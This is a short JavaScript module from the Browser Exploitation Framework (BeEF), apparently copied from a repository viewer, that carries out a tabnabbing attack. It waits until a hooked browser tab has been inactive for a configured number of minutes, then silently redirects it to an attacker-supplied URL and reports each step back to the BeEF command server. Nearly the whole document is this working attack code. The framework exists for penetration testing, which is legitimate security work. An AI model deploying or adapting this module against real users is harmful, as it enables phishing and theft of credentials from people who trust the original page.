Path: blob/master/modules/social_engineering/tabnabbing/command.js
1866 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var url = "<%= @url %>";9var wait = <%= @wait %>*1000*60;10var tabnab_timer;1112beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');1314// begin countdown when the tab loses focus15$j(window).blur(function(e) {16begin_countdown();1718// stop countdown if the tab regains focus19}).focus(function(e) {20clearTimeout(tabnab_timer);21});2223begin_countdown = function() {24tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);25}2627});282930